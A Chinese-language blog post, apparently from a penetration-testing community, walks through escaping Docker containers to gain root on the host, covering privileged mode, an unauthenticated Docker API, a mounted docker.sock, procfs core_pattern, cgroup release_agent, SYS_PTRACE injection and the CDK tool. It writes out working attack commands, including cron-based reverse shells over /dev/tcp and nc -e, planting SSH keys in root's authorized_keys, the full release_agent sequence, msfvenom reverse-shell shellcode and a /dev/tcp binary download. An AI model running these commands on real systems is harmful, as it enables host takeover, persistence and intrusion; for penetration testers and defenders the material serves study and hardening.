docker逃逸方式总结分享
k7 历史精选 798浏览 · 2025-03-03 02:40

前言

在实际渗透时,当拿到了一个shell,但是却发现所处的环境在docker容器里面,对后续的渗透不太方便,会遇到很多问题,比如说环境的缺失、常用命令无法执行、网段不通等

此时就需要进一步渗透,逃逸到宿主机中,拿到宿主机的权限,以便于更好的搜集内网信息,进行内网渗透。

本文主要讲述: 一、docker环境判断 二、docker逃逸方式

1特权模式

2api 未授权

3socket 挂载

4procfs 挂载

5cgroup 配置错误

6SYS_PTRACE 进程注入

三、CDK 利用工具演示

Docker环境的判断

查看根目录下文件

Docker 容器内部默认会有一个名为 .dockerenv 的隐藏文件,位于根目录下(/)。

ls / -al



image.png
图片加载失败


检查  /proc/1/cgroup 文件

在 Linux 系统(包括 Docker 容器基于的 Linux 内核环境)中,/proc 是一个虚拟文件系统,其中的文件包含了有关进程的各种信息。对于容器内的进程,/proc/1/cgroup 文件内容会体现出与容器相关的一些特征。

如果包含 明显的 docker 标识 则表明处于 Docker 容器中。

cat /proc/1/cgroup

宿主机环境
Pasted image 20250113134953.png
图片加载失败


docker环境
IMG-20250109155312099.png
图片加载失败


查看系统环境变量

当启动 Docker 容器时,Docker 会自动设置一些环境变量在容器内部,通过检查这些特定的环境变量是否存在,也可以作为辅助判断环境情况的一种手段。

比如说查看 hostname 的值,一般 Docker 容器的主机名会带有容器相关的标识,如下,很明显的docker id

IMG-20250109160012144.png
图片加载失败
不过这种判断方法不是绝对准确的,只是一种参考方式

Docker逃逸方式

特权模式

特权模式逃逸是最简单有效的逃逸方法之一,当使用以特权模式(privileged参数)启动的容器时,就可以在docker容器内部 通过 mount 命令挂载外部主机磁盘设备,获得宿主机文件的读写权限。

环境搭建 测试环境为 ubuntu 系统,版本为 18.04
IMG-20250111173751141.png
图片加载失败


查看当前环境是否为特权模式启动的

cat /proc/self/status | grep CapEff

如下图,如果CapEff的值为:0000003fffffffff,则证明为特权模式启动
IMG-20250110093429191.png
图片加载失败


fdisk -l 命令用于列出系统中所有磁盘设备的分区信息

fdisk -l



IMG-20250109170141919.png
图片加载失败


创建一个目录 test11 ,并将磁盘设备 /dev/vda1 上的文件系统挂载到  /test11 目录下

mkdir -p /test11 mount /dev/vda1 /test11

IMG-20250109170742602.png
图片加载失败


执行完毕之后查看 test11 目录,发现真实主机的系统文件,挂载入成功
IMG-20250109171020755.png
图片加载失败


挂载成功之后有 两种方式进行逃逸

1添加定时任务反弹shell

2设置ssh公钥

定时任务反弹shell

在 /var/spool/cron 目录下新建一个 root 用户的定时任务 (如果/var/spool/cron/目录下存在crontabs目录,则在/var/spool/cron/crontabs目录下进行新建)

echo '* * * * * bash -i >& /dev/tcp/ip/7777 0>&1' >> /test11/var/spool/cron/root

IMG-20250110092938636.png
图片加载失败
宿主机执行 crontab -l 命令查看定时任务,发现已经生效
IMG-20250110094238290.png
图片加载失败
攻击机开启监听,获取到宿主机的 shell,逃逸成功
IMG-20250110093034213.png
图片加载失败


避坑点 刚开始进行添加定时任务的时候,我直接在挂载的目录下找到宿主机的 crontab 文件,进行了修改,在这个文件里面写入了定时任务,去进行反弹。
IMG-20250109172428264.png
图片加载失败
在宿主机中查看,crontab文件内容已经对应改变,证明修改成功
IMG-20250111173751278.png
图片加载失败
最后成功弹过来shell,但是发现弹过来的shell仍然是docker容器的权限
IMG-20250111173751380.png
图片加载失败
在宿主机执行 crontab -l ,列表为空
IMG-20250111173751489.png
图片加载失败
后来发现,直接编辑 /etc/crontab 并不一定会被宿主机识别为当前有效的定时任务。 crontab -l 查看的是当前用户的任务,而在 Docker 容器中修改的/etc/crontab 可能是系统级任务 如果需要针对具体用户添加任务,需要在 /var/spool/cron 目录下新建用户名文件去添加某个用户的定时任务

还要注意不同的 Linux 发行版 定时任务存储路径也是不同的,主要有两个路径: /var/spool/cron 路径

涉及系统:Debian、Ubuntu、CentOS、RedHat 等主流 Linux 发行版。

/etc/crontabs 路径

典型系统:Alpine Linux 等轻量级发行版。

如果需要判断具体的宿主机系统版本,可以在 docker 容器中挂载了宿主机 文件后 通过如下命令进行查看

cat /etc/os-release

这里的宿主机为 centos7 ,所以应该将定时任务写在 /var/spool/cron 目录下
IMG-20250110143838036.png
图片加载失败


写入ssh公钥

生成公私钥文件

ssh-keygen -t rsa -b 4096 -f my_key -N ""

IMG-20250111173751594.png
图片加载失败
因为此时已经挂载了宿主机的目录,可以直接将公钥文件内容写入到宿主机的 /root/.ssh/authorized_keys 文件中,并赋予对应权限

echo "公钥内容" >> /test11/root/.ssh/authorized_keys chmod 600 /test11/root/.ssh/authorized_keys

IMG-20250111173751705.png
图片加载失败
修改宿主机的 /etc/ssh/sshd_config 文件设置一下参数

PubkeyAuthentication yes PermitRootLogin yesAuthorizedKeysFile .ssh/authorized_keys

IMG-20250111173751821.png
图片加载失败
设置好之后 即可通过私钥进行连接,获取宿主机 root 权限,逃逸成功。

ssh -i 私钥文件 root@ip

IMG-20250111173751935.png
图片加载失败


Docker api 未授权

Docker Remote API是一个取代远程命令行界面(RCLI)的REST API,当该接口直接暴漏在外网环境中且未作权限检查时,可以直接通过恶意调用相关的API进行远程命令执行 实现逃逸。

环境搭建 环境为 vulhub靶场中的 docker unauthorized-rce 镜像
IMG-20250110114333445.png
图片加载失败


可以通过访问 ip:port 形式去查看是否存在漏洞,port一般为2375 返回{"message":"page not found"}代表存在漏洞
IMG-20250110113605293.png
图片加载失败


使用 /version、/info 接口可以查看其他信息
IMG-20250110113856446.png
图片加载失败
IMG-20250110113927988.png
图片加载失败
进入靶机查看ip 此时宿主机的 ip 为:172.22.0.2
IMG-20250110114553119.png
图片加载失败


在确定存在漏洞的情况下使用攻击机进行利用,可以通过docker命令对目标靶机进行一些docker 命令操作

查看目标上面启动的docker镜像

docker -H tcp://ip:2375 ps

IMG-20250110114821546.png
图片加载失败


创建一个 alpine:latest 镜像(轻量级),并在启动时设置参数,将宿主机的目录挂载到 镜像中的 /tmp 目录中

docker -H tcp://ip:2375 run -id -v /:/tmp alpine:latest

查看容器 id,进入容器内

docker -H tcp://ip:2375 ps docker -H tcp://ip:2375 exec -it 8f9b946b36ec sh

进入 /tmp目录,发现磁盘已经挂载成功
IMG-20250110144116980.png
图片加载失败
docker环境的 ip为 172.17.0.3
IMG-20250110144143167.png
图片加载失败


此时获取宿主机权限的方式有两种,定时任务反弹shell和写入ssh公钥

定时任务反弹shell

首先查看 宿主机 操作系统类型,从而确定 定时任务的写入路径

cat /tmp/etc/os-release

IMG-20250110144346806.png
图片加载失败
宿主机系统为 Alpine Linux,则应该操作 /etc/crontabs,目录去进行写入定时任务 此时的 root 文件没有定时任务
IMG-20250110145305757.png
图片加载失败


进入 /etc/crontabs 目录,往 root 文件里面写入反弹shell的命令

echo '* * * * * /usr/bin/nc ip 9999 -e /bin/sh' >> /tmp/etc/crontabs/root

IMG-20250110145721484.png
图片加载失败
在宿主机查看定时任务,已经生效
IMG-20250110145646974.png
图片加载失败
攻击机开启监听,一分钟后,收到回连 ip为:172.22.0.2,为宿主机的ip,逃逸成功
IMG-20250110160042649.png
图片加载失败


写入ssh公钥

也可以在 挂在后的宿主机 .ssh 目录下写入公钥,然后通过私钥连接进行逃逸
IMG-20250110162322209.png
图片加载失败
因为这里宿主机环境是vulhub的docker靶场,仍然为docker环境,所以暂不演示,实际项目中宿主机为真实主机的情况下可以正常实现

Docker Socket 逃逸

Docker Socket(也称为Docker API Socket)是Docker引擎的UNIX套接字文件,用于与Docker守护进程(Docker daemon)进行通信,实现执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。

也就是说如果这个文件被挂载了之后,就可以直接操作宿主机的docker服务,进行创建、修改、删除镜像,从而实现逃逸

环境模拟 ubuntu 18.04 启动镜像并挂载 /var/run/docker.sock

docker run -itd -v /var/run/docker.sock:/var/run/docker.sock --name my_ubuntu ubuntu:18.04

IMG-20250111102009427.png
图片加载失败


首先判断当前容器是否挂载了 Docker Socket,如下图,docker.sock 文件存在 则证明被挂载

ls -lah /var/run/docker.sock

IMG-20250111102205508.png
图片加载失败


准备逃逸

新建容器挂载宿主机目录

前提条件:

1需要容器有docker环境(没有的话可以手动进行安装docker)

当前的环境中没有docker,手动进行安装

IMG-20250111102902861.png
图片加载失败


然后在容器内再创建启动一个容器,并在启动时挂载宿主机根目录

docker run -it -v /:/tmp ubuntu /bin/bash

命令执行完毕之后,docker的容器 id 发生变化,证明已经直接进入了刚创建的新的容器里面 查看 /tmp 目录,宿主机根目录已经成功挂载
IMG-20250111103852739.png
图片加载失败
因为是直接操作的宿主机的 docker 服务,所以在宿主机进行查看,会发现多了个 docker 镜像,正是docker 容器里面创建的那个。
IMG-20250111110538588.png
图片加载失败
在新创建的容器里面 使用 chroot 命令 更改当前进程的根目录 为挂载宿主机文件的 /tmp 目录
IMG-20250111110927193.png
图片加载失败


定时任务反弹shell

查看宿主机系统版本

cat /etc/os-release

版本为 centos
IMG-20250111111200235.png
图片加载失败
/var/spool/cron 目录下写入定时任务进行反弹shell

echo '* * * * * bash -i >& /dev/tcp/ip/7777 0>&1' >> /var/spool/cron/root

IMG-20250111111708477.png
图片加载失败
宿主机查看定时任务,已经设置成功
IMG-20250111111736016.png
图片加载失败
攻击机开启监听,成功获取宿主机 shell,逃逸成功
IMG-20250111112254647.png
图片加载失败


写入ssh公钥

echo "公钥内容" >> /test11/root/.ssh/authorized_keyschmod 600 /test11/root/.ssh/authorized_keys
IMG-20250111112557782.png
图片加载失败


IMG-20250111112653542.png
图片加载失败
通过私钥进行连接,获取宿主机root权限,逃逸成功
IMG-20250111112805024.png
图片加载失败


Procfs危险挂载

linux中的/proc目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态。 如果 docker 启动时将 /proc 目录挂载到了容器内部,就可以实现逃逸。

前置知识: /proc/sys/kernel/core_pattern文件是负责 进程崩溃时 的内存数据转储,当第一个字符是管道符|时,后面的部分会以命令行的方式进行解析并运行。并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。 利用该解析方式,可以进行容器逃逸。

环境搭建 启动一个 ubuntu 18.04 镜像,启动时将宿主机的 /proc/sys/kernel/core_pattern文件挂载到容器/test2/ 目录下

docker run -d --name ubuntu_test -v /proc/sys/kernel/core_pattern:/test2/proc/sys/kernel/core_pattern ubuntu:18.04 tail -f /dev/null

IMG-20250111140054000.png
图片加载失败


判断 是否挂载了宿主机的 procfs,执行下面的命令,如果找到两个 core_pattern 文件那可能就是挂载了宿主机的 procfs

find / -name core_pattern

第一个是容器本身的 procfs,第二个是挂载的宿主机的 procfs
IMG-20250111140342977.png
图片加载失败
找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

workdir 是分层存储的工作目录,而merged 是挂载点(即容器的文件系统视图) 将路径中的 work 替换为 merged 就是当前容器在宿主机上面的绝对路径 由下图可知 当前容器在宿主机上面的绝对路径 为:/var/lib/docker/overlay2/a7a150eaaad31da1134fda2cb314fb3268e3e47aac8f9775c6c42743c0653ffa/merged
IMG-20250111141407836.png
图片加载失败


宿主机访问该路径,发现在容器内创建的 test2 目录,路径正确
IMG-20250111141822827.png
图片加载失败
在 /tmp 目录下创建一个 exp.py 文件,此文件的功能是为了反弹shell lhost 和 lport 分别是 要接收shell的 vps ip、端口

IMG-20250111151252213.png
图片加载失败
前面已经知道当前容器在宿主机内的绝对路径,故而可知当前文件在宿主机内的绝对路径为/var/lib/docker/overlay2/a7a150eaaad31da1134fda2cb314fb3268e3e47aac8f9775c6c42743c0653ffa/merged/tmp/exp.py 将此路径写入到 宿主机的 /proc/sys/kernel/core_pattern 文件中

echo -e "|/var/lib/docker/overlay2/a7a150eaaad31da1134fda2cb314fb3268e3e47aac8f9775c6c42743c0653ffa/merged/tmp/exp.py \rcore " > /test2/proc/sys/kernel/core_pattern

这里是利用 /proc/sys/kernel/core_pattern 在系统崩溃时会自动运行,给他指定运行的脚本路径为创建的恶意脚本文件路径,通过这种方式,一旦程序发生崩溃,就会自动运行该脚本,进行反弹宿主机 shell,实现逃逸。
IMG-20250111144118873.png
图片加载失败


接下来就是想办法去让 docker崩溃,诱导系统加载 core_pattern 文件

创建一个恶意文件

IMG-20250111150303008.png
图片加载失败
使用 gcc 进行编译,需要使用到gcc环境,如果机器上面没有 gcc环境可以找个同核的机器编译好上传上去。 这里我直接在靶场环境中 安装了 gcc

apt-get update -y && apt-get install vim gcc -y

IMG-20250111150103943.png
图片加载失败


IMG-20250111150437690.png
图片加载失败
编译完成之后 攻击机 vps 开启监听,docker中运行 恶意程序使 docker 崩溃

IMG-20250111150641143.png
图片加载失败


获取宿主机 shell,逃逸成功
IMG-20250111150627405.png
图片加载失败


Cgroup 配置错误

Cgroup 是 Linux 提供的一种用于资源管理的功能,通过 Cgroup 可以对进程资源(如 CPU、内存等)的使用情况进行限制和统计。 这种攻击利用了notify_on_releaserelease_agent 这两个 Cgroup 的机制,用于在 Cgroup 子目录资源被清空时执行特定的动作 实现逃逸

利用条件

以root用户身份在容器内运行

使用SYS_ADMINLinux功能运行

缺少AppArmor配置文件,否则将允许mountsyscall

cgroup v1虚拟文件系统必须以读写的方式安装在容器内

环境模拟 拉取一个 ubuntu 18.04 的镜像

docker run -itd --rm --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04

--cap-add=SYS_ADMIN: 使用SYS_ADMINLinux功能运行 --security-opt apparmor=unconfined: 禁用 AppArmor 安全模块的限制

IMG-20250111162336108.png
图片加载失败


在docker容器中 执行命令判断当前主机是否符合逃逸的利用条件 确保具备 SYS_ADMIN 权限

cat /proc/self/status | grep CapEff

IMG-20250111163002321.png
图片加载失败


判断容器内挂载了 Cgroup 文件系统,且为读写模式。

IMG-20250111163451828.png
图片加载失败


都满足条件之后进行利用 创建一个临时目录用于挂载 Cgroup 文件系统

mkdir /tmp/test3

挂载 Cgroup 文件系统到临时目录中

mount -t cgroup -o memory cgroup /tmp/test3

-t 用于指定文件系统类型。cgroup 表示要挂载的是一个 Cgroup 文件系统 -o 用来指定挂载选项。 memory 表明挂载的是与内存(Memory)相关的 Cgroup 子系统 cgroup: 指定要挂载的 Cgroup 文件系统的名称或设备
IMG-20250111165002905.png
图片加载失败


在挂载点下创建一个名为 "conf" 的子目录,用于设置特定 Cgroup 的配置

mkdir /tmp/test3/conf

启用通知机制,当 conf 子目录的任务(进程)清空时会触发内核动作

echo 1 > /tmp/test3/conf/notify_on_release

IMG-20250111170018556.png
使用 sed 命令从 /etc/mtab 文件中解析出宿主机的路径前缀

/etc/mtab 记录了当前系统挂载的所有文件系统的信息,可以了解当前哪些设备或网络资源已经被挂载到文件系统中。 通过获取宿主机的挂载路径,就可以在容器内部使用这个路径来操作宿主机上的文件 这个路径会被用于配置 release_agent
IMG-20250111170026933.png


设置 release_agent 为一个脚本的路径,通知事件触发时由内核执行该脚本

echo "$host_path/cmd" > /tmp/test3/release_agent

创建反弹 shell 的脚本,并写入其内容

echo '#!/bin/sh' > /cmd echo "bash -i >& /dev/tcp/ip/8888 0>&1" >> /cmd

IMG-20250111170344210.png
图片加载失败


将当前 shell 的 PID 写入 /tmp/test3/conf/cgroup.procs 文件 ,意味着当前 shell 进程将被“添加”到这个 cgroup 中,其他的进程被清空只保留当前的shell进程。 触发 notify_on_release,清空任务后,release_agent 自动执行

sh -c "echo > /tmp/test3/conf/cgroup.procs"

$$ 是一个特殊变量,它代表当前 shell 进程的 PID(进程 ID)

IMG-20250111170701945.png
图片加载失败


攻击机 vps 监听对应端口,获得宿主机 shell,成功逃逸
IMG-20250111170618680.png
图片加载失败


SYS_PTRACE 进程注入

用户授予了容器SYS_PTRACE权限,并且与宿主机共享一个进程命名空间(--pid=host),使得在容器内可以查看到宿主机的进程,并可以利用进程注入,反弹shell,从而实现逃逸

利用条件

1容器有SYS_PTRACE权限

2与宿主机共享一个进程命名空间

3容器以root权限运行

环境搭建 拉取 ubuntu 18.04 版本镜像

docker run -itd --pid=host --cap-add=SYS_PTRACE ubuntu:18.04

IMG-20250111200147094.png
图片加载失败


判断容器是否有 SYS_PTRACE 权限

如果输出中包含 cap_sys_ptrace 字段,说明容器具有该权限。

如果没有 cap_sys_ptrace,说明容器缺少此能力。

capsh --print | grep cap_sys_ptrace

IMG-20250111200543626.png
图片加载失败
判断是否与宿主机共享进程命名空间 如果能看到宿主机的进程(如 Docker 守护进程 dockerd),说明共享了宿主机的进程命名空间。

ps aux | grep dockerd

IMG-20250111200412809.png
图片加载失败


符合条件之后 进行利用

下载进程注入的 c 文件 https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

使用 msf 生成反弹shell的 shellcode

msfvenom -p linux/x64/shell_reverse_tcp LHOST=ip LPORT=6667 -f c

IMG-20250113114808654.png
图片加载失败


进程注入的 c 文件 中也有一段 shellcode 内容,使用 msf 生成的 shellcode 进行替换 并修改 对应的 SHELLCODE_SIZE 内容,为shellcode长度( 一个 \x02 字符 为一个长度 )

IMG-20250111201008165.png
图片加载失败


然后上传到 docker 容器中进行编译

gcc inject.c -o inject

IMG-20250111201333137.png
图片加载失败


查看 进程信息,找个 root 用户的进程进行注入

ps -ef ./inject <pid的值>

IMG-20250111201457704.png
图片加载失败


命令执行过后,返回内容如下图即注入成功

IMG-20250111201436317.png
图片加载失败


msf 开启监听 对应上 生成 shellcode 时的 payload、端口 待进程注入成功之后,获得宿主机 shell,逃逸成功
IMG-20250111201708157.png
图片加载失败


CDK 利用工具演示

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

包括三个功能模块

1Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。

2Exploit: 提供容器逃逸、持久化、横向移动等利用方式。

3Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

下载地址:https://github.com/cdk-team/CDK/

需要先将工具直接传到 拿下的 docker 容器里。 如果不能上传,可以执行下面的命令进行获取 将 ckd 下载到攻击机 vps 上面,在上面执行命令

nc -lvp 999 < cdk

IMG-20250113094229719.png
图片加载失败


然后在拿下的 docker 容器里面执行命令进行获取

cat < /dev/tcp/攻击机_vps_ip/999 > cdk

IMG-20250113094428392.png
图片加载失败


执行命令进行信息收集,会自动搜集容器相关的信息,和可以利用的漏洞

./cdk evaluate

System Info --> 系统信息 如下图,会收集当前 所在目录、当前用户、主机名、系统版本信息
IMG-20250113095214027.png
图片加载失败


Mounts --> 目录的挂载情况
IMG-20250113095550828.png
图片加载失败


Commands and Capabilities --> 能够执行的命令和能够进行利用的模块 如下图,发现此环境中能够执行的系统命令有: wget,nc,docker,find,ps,vi,mount,fdisk,base64 发现了两个可以进行利用的模块

IMG-20250113095855635.png
图片加载失败


使用特权模式的利用模块进行逃逸

执行命令会自动进行磁盘挂载,如下,将宿主机文件 挂载到了 当前docker容器的 /tmp/cdk_LsTQy 目录下
IMG-20250113100810581.png
图片加载失败


进入目录查看,挂载成功
IMG-20250113101318348.png
图片加载失败


然后可通过 定时任务反弹shell或者写入公钥的形式进行获取 设置定时任务反弹shell
IMG-20250113102117181.png


逃逸成功
IMG-20250113102149089.png
图片加载失败


0 条评论
某人
表情
可输入 255

没有评论